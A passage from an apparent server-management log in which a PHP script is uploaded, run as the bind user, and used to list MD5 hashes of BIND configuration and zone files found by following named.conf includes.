MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:46:46: Establishing a connection
2026-04-23 17:46:46: 

PUT: /tmp/pkp802483

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:46:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp802483; rm /tmp/pkp802483'

2026-04-23 17:46:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
